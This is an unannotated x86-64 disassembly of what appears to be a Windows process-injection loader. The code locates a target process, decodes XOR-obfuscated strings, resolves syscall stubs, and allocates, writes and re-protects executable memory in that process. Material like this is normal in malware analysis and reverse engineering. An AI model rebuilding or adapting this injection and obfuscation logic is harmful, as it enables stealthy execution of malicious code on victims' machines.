call fcn.004a75b0
lea rax, [rbp + 0x4cb0]
lea rdx, [rbp + 0x4cd0]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4c90]
lea rdx, [rbp + 0x4cb0]
lea r8, [0x0151f585]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4c70]
lea rdx, [rbp + 0x4c90]
lea r8, [0x0151f579]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4c50]
lea rdx, [rbp + 0x4c70]
lea r8, [0x0151f5d1]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4c30]
lea rdx, [rbp + 0x4c50]
lea r8, [0x0151f57d]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4c10]
lea rdx, [rbp + 0x4c30]
lea r8, [0x0151f57f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4bf0]
lea rdx, [rbp + 0x4c10]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4bd0]
lea rdx, [rbp + 0x4bf0]
lea r8, [0x0151f5d7]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4bb0]
lea rdx, [rbp + 0x4bd0]
lea r8, [0x0151f5c5]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4b90]
lea rdx, [rbp + 0x4bb0]
lea r8, [0x0151f5cf]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4b70]
lea rdx, [rbp + 0x4b90]
lea r8, [0x0151f5bf]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4b50]
lea rdx, [rbp + 0x4b70]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4b30]
lea rdx, [rbp + 0x4b50]
lea r8, [0x0151f577]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4b10]
lea rdx, [rbp + 0x4b30]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4af0]
lea rdx, [rbp + 0x4b10]
lea r8, [0x0151f57f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4ad0]
lea rdx, [rbp + 0x4af0]
lea r8, [0x0151f575]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4ab0]
lea rdx, [rbp + 0x4ad0]
lea r8, [0x0151f5c1]
mov rcx, rax
call fcn.004b7590
lea rdx, [rbp + 0x4ab0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c40
lea rax, [rbp + 0x4ab0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4ad0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4af0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4b10]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4b30]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4b50]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4b70]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4b90]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4bb0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4bd0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4bf0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4c10]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4c30]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4c50]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4c70]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4c90]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4cb0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4cd0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4cff]
mov rcx, rax
call fcn.0046f6a0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4d00]
mov rcx, rax
call fcn.004a7140
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4d00]
mov rcx, qword [rbp + 0x52e8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4d00]
mov rcx, rax
call fcn.004a7c00
cmp dword [rbp + 0x529c], 0
je 0x408984
lea rbx, [0x0151f58b]
jmp 0x40898b
lea rbx, [0x0151f590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432660
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rax, [rbp + 0x4f8f]
mov rcx, rax
call fcn.0046f670
lea rdx, [rbp + 0x4f8f]
lea rax, [rbp + 0x4f60]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.004a75b0
lea rax, [rbp + 0x4f40]
lea rdx, [rbp + 0x4f60]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4f20]
lea rdx, [rbp + 0x4f40]
lea r8, [0x0151f5bd]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4f00]
lea rdx, [rbp + 0x4f20]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4ee0]
lea rdx, [rbp + 0x4f00]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4ec0]
lea rdx, [rbp + 0x4ee0]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4ea0]
lea rdx, [rbp + 0x4ec0]
lea r8, [0x0151f57d]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4e80]
lea rdx, [rbp + 0x4ea0]
lea r8, [0x0151f57f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4e60]
lea rdx, [rbp + 0x4e80]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4e40]
lea rdx, [rbp + 0x4e60]
lea r8, [0x0151f56f]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4e20]
lea rdx, [rbp + 0x4e40]
lea r8, [0x0151f583]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4e00]
lea rdx, [rbp + 0x4e20]
lea r8, [0x0151f579]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4de0]
lea rdx, [rbp + 0x4e00]
lea r8, [0x0151f573]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4dc0]
lea rdx, [rbp + 0x4de0]
lea r8, [0x0151f585]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4da0]
lea rdx, [rbp + 0x4dc0]
lea r8, [0x0151f57b]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4d80]
lea rdx, [rbp + 0x4da0]
lea r8, [0x0151f587]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4d60]
lea rdx, [rbp + 0x4d80]
lea r8, [0x0151f575]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4d40]
lea rdx, [rbp + 0x4d60]
lea r8, [0x0151f581]
mov rcx, rax
call fcn.004b7590
lea rax, [rbp + 0x4d20]
lea rdx, [rbp + 0x4d40]
lea r8, [0x0151f589]
mov rcx, rax
call fcn.004b7590
lea rdx, [rbp + 0x4d20]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.004a7c40
lea rax, [rbp + 0x4d20]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4d40]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4d60]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4d80]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4da0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4dc0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4de0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4e00]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4e20]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4e40]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4e60]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4e80]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4ea0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4ec0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4ee0]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4f00]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4f20]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4f40]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4f60]
mov rcx, rax
call fcn.004a7c00
lea rax, [rbp + 0x4f8f]
mov rcx, rax
call fcn.0046f6a0
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x4f90]
mov rcx, rax
call fcn.004a7140
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x4f90]
mov rcx, qword [rbp + 0x52e0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.004015cd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x4f90]
mov rcx, rax
call fcn.004a7c00
cmp dword [rbp + 0x529c], 0
je 0x408da0
lea rbx, [0x0151f58b]
jmp 0x408da7
lea rbx, [0x0151f590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.00432660
mov r8, rbx
mov rdx, rax
lea rcx, str._s_Stub_Found:__s_n
call fcn.00401540
lea rcx, [0x004bc020]
call fcn.00402eed
mov qword [rbp + 0x2498], 0x230
mov rax, qword [0x0151b758]
mov qword [rbp + 0x2490], rax
mov rax, qword [rbp + 0x2498]
mov rdx, rax
lea rcx, [0x0151b760]
call fcn.00401b61
mov dword [rbp + 0x2360], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x5290], rax
mov dword [rbp + 0x5388], 0
lea rax, [rbp + 0x2353]
lea rdx, [rbp + 0x4fbd]
mov rcx, rax
call fcn.0040308e
lea rdx, [rbp + 0x2360]
mov rax, qword [rbp + 0x5290]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x4090c3
lea rdx, [rbp + 0x2360]
mov rax, qword [rbp + 0x5290]
mov rcx, rax
call sub.KERNEL32.dll_Process32Next
cmp eax, 1
sete al
test al, al
je 0x4090c3
lea rax, [rbp + 0x2353]
mov qword [rbp + 0x5248], rax
mov rax, qword [rbp + 0x5248]
mov qword [rbp + 0x5240], rax
mov rax, qword [rbp + 0x5240]
movzx eax, byte [rax + 0xc]
test al, al
setne al
test al, al
je 0x408f51
mov rax, qword [rbp + 0x5248]
mov rdx, qword [rbp + 0x5248]
mov qword [rbp + 0x5238], rdx
mov qword [rbp + 0x5230], rax
mov dword [rbp + 0x522c], 0
cmp dword [rbp + 0x522c], 0xc
jg 0x408f50
mov eax, dword [rbp + 0x522c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5230]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x522c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5238]
mov eax, dword [rbp + 0x522c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x522c], 1
jmp 0x408ee5
nop
lea rax, [rbp + 0x2353]
lea rdx, [rbp + 0x2360]
lea rcx, [rdx + 0x2c]
mov rdx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x408e67
mov eax, dword [rbp + 0x2368]
mov dword [rbp + 0x5388], eax
lea rax, [rbp + 0x101]
lea rdx, [rbp + 0x4fbe]
mov rcx, rax
call fcn.00403108
lea rax, [rbp + 0x101]
mov qword [rbp + 0x5220], rax
mov rax, qword [rbp + 0x5220]
movzx eax, byte [rax + 0xe]
test al, al
setne al
test al, al
je 0x409052
lea rax, [rbp + 0x101]
lea rdx, [rbp + 0x101]
mov qword [rbp + 0x5218], rdx
mov qword [rbp + 0x5210], rax
mov dword [rbp + 0x520c], 0
cmp dword [rbp + 0x520c], 0xe
jg 0x409051
mov eax, dword [rbp + 0x520c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5210]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x520c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5218]
mov eax, dword [rbp + 0x520c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x520c], 1
jmp 0x408fe6
nop
lea rax, [rbp + 0x101]
mov rdx, qword [rbp + 0x2353]
mov qword [rbp - 0x40], rdx
mov edx, dword [rbp + 0x235b]
mov dword [rbp - 0x38], edx
movzx edx, byte [rbp + 0x235f]
mov byte [rbp - 0x34], dl
mov ecx, dword [rbp + 0x5388]
lea rdx, [rbp - 0x40]
mov r9d, ecx
mov r8, rdx
mov rdx, rax
lea rcx, [0x0151f5d9]
call fcn.00401540
mov dword [rbp + 0x5208], 0
cmp dword [rbp + 0x5208], 0xe
jg 0x4090c2
mov eax, dword [rbp + 0x5208]
cdqe
mov byte [rbp + rax + 0x101], 0
add dword [rbp + 0x5208], 1
jmp 0x4090a0
nop
mov rax, qword [rbp + 0x5290]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
cmp dword [rbp + 0x5388], 0
jne 0x409216
lea rax, [rbp - 0x10]
lea rdx, [rbp + 0x4fbf]
mov rcx, rax
call fcn.00403192
lea rax, [rbp - 0x10]
mov qword [rbp + 0x5200], rax
mov rax, qword [rbp + 0x5200]
movzx eax, byte [rax + 0x43]
test al, al
setne al
test al, al
je 0x4091a5
lea rax, [rbp - 0x10]
lea rdx, [rbp - 0x10]
mov qword [rbp + 0x51f8], rdx
mov qword [rbp + 0x51f0], rax
mov dword [rbp + 0x51ec], 0
cmp dword [rbp + 0x51ec], 0x43
jg 0x4091a4
mov eax, dword [rbp + 0x51ec]
movsxd rdx, eax
mov rax, qword [rbp + 0x51f0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x51ec]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x51f8]
mov eax, dword [rbp + 0x51ec]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51ec], 1
jmp 0x409139
nop
lea rax, [rbp - 0x10]
mov rdx, qword [rbp + 0x2353]
mov qword [rbp - 0x40], rdx
mov edx, dword [rbp + 0x235b]
mov dword [rbp - 0x38], edx
movzx edx, byte [rbp + 0x235f]
mov byte [rbp - 0x34], dl
lea rdx, [rbp - 0x40]
mov r8, rdx
mov rdx, rax
lea rcx, str._s_s
call fcn.00401540
mov dword [rbp + 0x51e8], 0
cmp dword [rbp + 0x51e8], 0x43
jg 0x409206
mov eax, dword [rbp + 0x51e8]
cdqe
mov byte [rbp + rax - 0x10], 0
add dword [rbp + 0x51e8], 1
jmp 0x4091e7
nop
mov esi, 1
mov ebx, 0
jmp 0x40a7bc
mov qword [rbp + 0x2348], 0
mov qword [rbp + 0x2338], 0
mov eax, dword [rbp + 0x2368]
mov ecx, eax
call fcn.00401594
mov qword [rbp + 0x2330], rax
mov dword [rbp + 0x2300], 0x30
mov qword [rbp + 0x2308], 0
mov dword [rbp + 0x2318], 0
mov qword [rbp + 0x2310], 0
mov qword [rbp + 0x2320], 0
mov qword [rbp + 0x2328], 0
mov r10, qword [0x0154b090]
lea rcx, [rbp + 0x2330]
lea rdx, [rbp + 0x2300]
lea rax, [rbp + 0x2348]
mov r9, rcx
mov r8, rdx
mov edx, 0x478
mov rcx, rax
call r10
lea rax, [rbp + 0x22f4]
lea rdx, [rbp + 0x4fc0]
mov rcx, rax
call fcn.004033c4
lea rax, [rbp + 0x22e0]
lea rdx, [rbp + 0x4fc1]
mov rcx, rax
call fcn.00403436
mov qword [rbp + 0x5288], 0
mov qword [rbp + 0x22d8], 0
mov dword [rbp + 0x22cc], 0
mov qword [rbp + 0x5280], 0xe
mov r10, qword [0x0154b048]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x2498]
lea rdx, [rbp + 0x22d8]
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
mov r9, rcx
mov r8d, 0
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x4fc2]
mov rcx, rax
call fcn.004034c8
lea rax, [rbp + 0x22a0]
mov qword [rbp + 0x51e0], rax
mov rax, qword [rbp + 0x51e0]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x409413
lea rax, [rbp + 0x22a0]
lea rdx, [rbp + 0x22a0]
mov qword [rbp + 0x51d8], rdx
mov qword [rbp + 0x51d0], rax
mov dword [rbp + 0x51cc], 0
cmp dword [rbp + 0x51cc], 0x27
jg 0x409412
mov eax, dword [rbp + 0x51cc]
movsxd rdx, eax
mov rax, qword [rbp + 0x51d0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x51cc]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x51d8]
mov eax, dword [rbp + 0x51cc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51cc], 1
jmp 0x4093a7
nop
lea rax, [rbp + 0x22a0]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x0151f0e1]
call fcn.00401540
mov dword [rbp + 0x51c8], 0
cmp dword [rbp + 0x51c8], 0x27
jg 0x40945e
mov eax, dword [rbp + 0x51c8]
cdqe
mov byte [rbp + rax + 0x22a0], 0
add dword [rbp + 0x51c8], 1
jmp 0x40943c
nop
lea rax, [rbp + 0x2292]
lea rdx, [rbp + 0x4fc3]
mov rcx, rax
call fcn.0040361a
mov r8, qword [rbp + 0x22d8]
lea rax, [rbp + 0x2292]
mov qword [rbp + 0x51c0], rax
mov rax, qword [rbp + 0x51c0]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x409534
lea rax, [rbp + 0x2292]
lea rdx, [rbp + 0x2292]
mov qword [rbp + 0x51b8], rdx
mov qword [rbp + 0x51b0], rax
mov dword [rbp + 0x51ac], 0
cmp dword [rbp + 0x51ac], 0xd
jg 0x409533
mov eax, dword [rbp + 0x51ac]
movsxd rdx, eax
mov rax, qword [rbp + 0x51b0]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x51ac]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r9d, eax
sar r9d, 0x1f
sub edx, r9d
imul r9d, edx, 0x34
sub eax, r9d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x51b8]
mov eax, dword [rbp + 0x51ac]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x51ac], 1
jmp 0x4094c8
nop
lea rax, [rbp + 0x2292]
mov rdx, rax
lea rcx, str._s_p_n
call fcn.00401540
mov dword [rbp + 0x51a8], 0
cmp dword [rbp + 0x51a8], 0xd
jg 0x409576
mov eax, dword [rbp + 0x51a8]
cdqe
mov byte [rbp + rax + 0x2292], 0
add dword [rbp + 0x51a8], 1
jmp 0x409554
nop
mov r10, qword [0x0154b050]
mov r9, qword [rbp + 0x2498]
mov r8, qword [0x0154b0e0]
mov rdx, qword [rbp + 0x22d8]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x22d0]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x2260]
lea rdx, [rbp + 0x4fc4]
mov rcx, rax
call fcn.0040369c
lea rax, [rbp + 0x2260]
mov qword [rbp + 0x51a0], rax
mov rax, qword [rbp + 0x51a0]
movzx eax, byte [rax + 0x22]
test al, al
setne al
test al, al
je 0x409680
lea rax, [rbp + 0x2260]
lea rdx, [rbp + 0x2260]
mov qword [rbp + 0x5198], rdx
mov qword [rbp + 0x5190], rax
mov dword [rbp + 0x518c], 0
cmp dword [rbp + 0x518c], 0x22
jg 0x40967f
mov eax, dword [rbp + 0x518c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5190]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x518c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5198]
mov eax, dword [rbp + 0x518c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x518c], 1
jmp 0x409614
nop
lea rax, [rbp + 0x2260]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x0151f0e1]
call fcn.00401540
mov dword [rbp + 0x5188], 0
cmp dword [rbp + 0x5188], 0x22
jg 0x4096cb
mov eax, dword [rbp + 0x5188]
cdqe
mov byte [rbp + rax + 0x2260], 0
add dword [rbp + 0x5188], 1
jmp 0x4096a9
nop
mov r10, qword [0x0154b058]
mov rax, qword [rbp + 0x2348]
lea r8, [rbp + 0x2498]
lea rdx, [rbp + 0x22d8]
lea rcx, [rbp + 0x22cc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x20
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x2230]
lea rdx, [rbp + 0x4fc5]
mov rcx, rax
call fcn.004037c6
lea rax, [rbp + 0x2230]
mov qword [rbp + 0x5180], rax
mov rax, qword [rbp + 0x5180]
movzx eax, byte [rax + 0x22]
test al, al
setne al
test al, al
je 0x4097d4
lea rax, [rbp + 0x2230]
lea rdx, [rbp + 0x2230]
mov qword [rbp + 0x5178], rdx
mov qword [rbp + 0x5170], rax
mov dword [rbp + 0x516c], 0
cmp dword [rbp + 0x516c], 0x22
jg 0x4097d3
mov eax, dword [rbp + 0x516c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5170]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x516c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5178]
mov eax, dword [rbp + 0x516c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x516c], 1
jmp 0x409768
nop
lea rax, [rbp + 0x2230]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x0151f0e1]
call fcn.00401540
mov dword [rbp + 0x5168], 0
cmp dword [rbp + 0x5168], 0x22
jg 0x40981f
mov eax, dword [rbp + 0x5168]
cdqe
mov byte [rbp + rax + 0x2230], 0
add dword [rbp + 0x5168], 1
jmp 0x4097fd
nop
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.00402d29
mov rdx, qword [rbp + 0x22d8]
mov rax, qword [rbp + 0x2348]
mov rcx, rax
call fcn.0040290d
mov ecx, 0x7d0
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov r10, qword [0x0154b0d0]
mov rax, qword [rbp + 0x2348]
lea rcx, [rbp + 0x2498]
lea rdx, [rbp + 0x22d8]
mov r9d, 0x8000
mov r8, rcx
mov rcx, rax
call r10
mov dword [rbp + 0x527c], eax
lea rax, [rbp + 0x2200]
lea rdx, [rbp + 0x4fc6]
mov rcx, rax
call fcn.004038f0
lea rax, [rbp + 0x2200]
mov qword [rbp + 0x5160], rax
mov rax, qword [rbp + 0x5160]
movzx eax, byte [rax + 0x27]
test al, al
setne al
test al, al
je 0x409952
lea rax, [rbp + 0x2200]
lea rdx, [rbp + 0x2200]
mov qword [rbp + 0x5158], rdx
mov qword [rbp + 0x5150], rax
mov dword [rbp + 0x514c], 0
cmp dword [rbp + 0x514c], 0x27
jg 0x409951
mov eax, dword [rbp + 0x514c]
movsxd rdx, eax
mov rax, qword [rbp + 0x5150]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x514c]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5158]
mov eax, dword [rbp + 0x514c]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x514c], 1
jmp 0x4098e6
nop
lea rax, [rbp + 0x2200]
mov edx, dword [rbp + 0x527c]
mov r8d, edx
mov rdx, rax
lea rcx, [0x0151f0e1]
call fcn.00401540
mov dword [rbp + 0x5120], 0
cmp dword [rbp + 0x5120], 0x27
jg 0x40999d
mov eax, dword [rbp + 0x5120]
cdqe
mov byte [rbp + rax + 0x2200], 0
add dword [rbp + 0x5120], 1
jmp 0x40997b
nop
lea rax, [rbp + 0x22f4]
mov qword [rbp + 0x5140], rax
mov rax, qword [rbp + 0x5140]
mov qword [rbp + 0x5138], rax
mov rax, qword [rbp + 0x5138]
movzx eax, byte [rax + 0xb]
test al, al
setne al
test al, al
je 0x409a64
mov rax, qword [rbp + 0x5140]
mov rdx, qword [rbp + 0x5140]
mov qword [rbp + 0x5130], rdx
mov qword [rbp + 0x5128], rax
mov dword [rbp + 0x5124], 0
cmp dword [rbp + 0x5124], 0xb
jg 0x409a63
mov eax, dword [rbp + 0x5124]
movsxd rdx, eax
mov rax, qword [rbp + 0x5128]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x5124]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5130]
mov eax, dword [rbp + 0x5124]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x5124], 1
jmp 0x4099f8
nop
lea rax, [rbp + 0x22f4]
mov r8d, 1
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
call rax
mov qword [rbp + 0x5270], rax
lea rax, [rbp + 0x22e0]
mov qword [rbp + 0x5118], rax
mov rax, qword [rbp + 0x5118]
mov qword [rbp + 0x5110], rax
mov rax, qword [rbp + 0x5110]
movzx eax, byte [rax + 0xf]
test al, al
setne al
test al, al
je 0x409b4f
mov rax, qword [rbp + 0x5118]
mov rdx, qword [rbp + 0x5118]
mov qword [rbp + 0x5108], rdx
mov qword [rbp + 0x5100], rax
mov dword [rbp + 0x50fc], 0
cmp dword [rbp + 0x50fc], 0xf
jg 0x409b4e
mov eax, dword [rbp + 0x50fc]
movsxd rdx, eax
mov rax, qword [rbp + 0x5100]
add rax, rdx
movzx ecx, byte [rax]
mov eax, dword [rbp + 0x50fc]
movsxd rdx, eax
imul rdx, rdx, 0x4ec4ec4f
shr rdx, 0x20
sar edx, 4
mov r8d, eax
sar r8d, 0x1f
sub edx, r8d
imul r8d, edx, 0x34
sub eax, r8d
mov edx, eax
mov eax, edx
add eax, 0x37
xor ecx, eax
mov rdx, qword [rbp + 0x5108]
mov eax, dword [rbp + 0x50fc]
cdqe
mov byte [rdx + rax], cl
add dword [rbp + 0x50fc], 1
jmp 0x409ae3
nop
lea rdx, [rbp + 0x22e0]
mov rax, qword [rbp + 0x5270]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x5268], rax
lea rax, [rbp + 0x21f2]
lea rdx, [rbp + 0x4fc7]
mov rcx, rax
call fcn.00403a42
lea rax, [rbp + 0x21f2]
mov qword [rbp + 0x50f0], rax
mov rax, qword [rbp + 0x50f0]
movzx eax, byte [rax + 0xd]
test al, al
setne al
test al, al
je 0x409c3e
